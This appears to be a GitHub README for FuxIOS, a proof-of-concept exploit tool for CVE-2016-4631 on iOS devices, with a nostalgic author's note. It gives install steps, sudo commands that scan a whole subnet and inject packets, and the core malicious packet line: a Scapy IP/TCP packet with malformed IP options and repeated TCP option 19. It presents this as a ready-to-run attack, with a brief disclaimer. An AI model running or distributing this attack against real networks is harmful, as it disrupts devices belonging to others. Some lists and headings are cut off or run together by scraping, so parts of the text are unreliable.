l3onkers/fuxiosModernized Python 3 exploit PoC for CVE-2016-4631 targeting iOS devices. Features network scanning, malformed IP/TCP payload generation, and packet injection for authorized security testing and educational purposes.
Why am I publishing this now?
While reviewing old hard drives and forgotten repositories, I came across this script that I wrote years ago when I was just starting my career in cybersecurity. It was a different time - Python 2.7 dominated, vulnerabilities like CVE-2016-4631 were a dime a dozen, and every working PoC felt like a small victory.
Seeing this code after so long, I couldn't help but feel nostalgic. I remembered those nights debugging exploits, the thrill of seeing "Payload sent successfully", and how each script was another step in my learning. Although nowadays I work with much more advanced technologies, this little script represents those first steps into the world of offensive security.
I decided to modernize it and upload it not only for nostalgia, but because I think it can be useful for others who are starting their journey in cybersecurity. It's a reminder that we all start somewhere, and those first "simple" scripts are the foundation for everything that comes after.
F0LloW_Th3_R4ts was my signature back then... some codes are never forgotten. 🐀
- BONKERS, July 2025
FuxIOS.py is an updated Proof of Concept (PoC) for the vulnerability CVE-2016-4631 affecting iOS devices. This version has been completely rewritten and modernized for Python 3 with significant improvements in functionality, security, and usability.
list_of_ips → list_ips# Install nmap (required by python-nmap)
# Windows: Download from https://nmap.org/download.html
# Linux: sudo apt-get install nmap
# macOS: brew install nmap
# Clone repository
git clone <repo-url>
cd FuxiOS
# Install dependencies
pip install -r requirements.txt
# Or manually:
pip install scapy python-nmap
# Basic usage
sudo python3 FuxIOS.py
# Custom configuration
sudo python3 FuxIOS.py -s 192.168.1.100 -n 192.168.1.0/24
# Advanced options
sudo python3 FuxIOS.py -s 192.168.1.100 -n 192.168.1.0/24 -m 50 -d 0.1
# View help
python3 FuxIOS.py -h
sudo python3 FuxIOS.py --interactive
-s, --source: Source IP address (default: 192.168.1.95)-n, --network: Target subnet (default: 192.168.1.0/24)-m, --max-payload: Maximum payload size (default: 40)-d, --delay: Delay between packets in seconds (default: 0.2)--interactive: Interactive mode for compatibility# Malicious packet
IP(src=source_ip, dst=target_ip, options=malformed_payload) /
TCP(dport=80, flags="S", options=[(19, b"x"*18), (19, b"x"*18)])
This tool should be used exclusively for:
Logs are saved to fuxios_exploit.log and include:
Error: "No module named 'scapy'"
pip install scapy
Error: "No module named 'nmap'"
pip install python-nmap
# And ensure nmap is installed on the system
Error: "Permission denied"
# Linux/macOS
sudo python3 FuxIOS.py
# Windows
# Run PowerShell/CMD as administrator
Windows: "WinPcap/Npcap not found"
This project is for educational purposes only. The author is not responsible for any misuse of this tool.
Remember: "F0LloW_Th3_R4ts <:8)~~ <:8)~~"